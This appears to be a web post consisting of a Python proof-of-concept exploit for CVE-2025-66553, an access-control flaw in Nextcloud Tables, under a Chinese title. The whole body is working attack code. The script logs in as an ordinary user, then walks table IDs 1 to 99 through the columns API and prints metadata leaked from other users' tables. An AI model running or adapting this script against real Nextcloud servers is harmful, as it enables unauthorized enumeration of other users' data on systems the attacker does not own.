CVE-2025-66553 Nextcloud Tables授权用户可查看其他表列元数据信息泄露漏洞

import requests import json # CVE-2025-66553 PoC - Nextcloud Tables Information Disclosure # Target: Nextcloud Tables < 0.8.7 and < 0.9.4 TARGET_URL = "https://vulnerable-nextcloud.example.com" USERNAME = "[email protected]" PASSWORD = "password123" def authenticate(): """Authenticate to Nextcloud and get session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/login" # Get CSRF token response = session.get(login_url) csrf_token = session.cookies.get('nc_token') or 'your_csrf_token' # Login request login_data = { 'user': USERNAME, 'password': PASSWORD, 'requesttoken': csrf_token } response = session.post(login_url, data=login_data) if response.status_code == 200: return session return None def exploit_table_columns(session, table_id): """Attempt to retrieve column metadata from target table""" columns_url = f"{TARGET_URL}/apps/tables/api/1/tables/{table_id}/columns" headers = { 'OCS-APIREQUEST': 'true', 'Content-Type': 'application/json' } response = session.get(columns_url, headers=headers) if response.status_code == 200: try: data = response.json() if data and len(data) > 0: print(f"[!] Disclosed columns for table ID {table_id}:") for col in data: print(f" Column: {col.get('title')}, Type: {col.get('type')}") return data except json.JSONDecodeError: pass return None def main(): print("[*] CVE-2025-66553 PoC - Nextcloud Tables Information Disclosure") print("[*] Authenticating to Nextcloud...") session = authenticate() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") print("[*] Enumerating table IDs to extract column metadata...") # Enumerate table IDs (typically sequential integers) for table_id in range(1, 100): columns = exploit_table_columns(session, table_id) if columns: print(f"[+] Successfully extracted metadata from table {table_id}") print("[*] PoC execution completed") if __name__ == "__main__": main()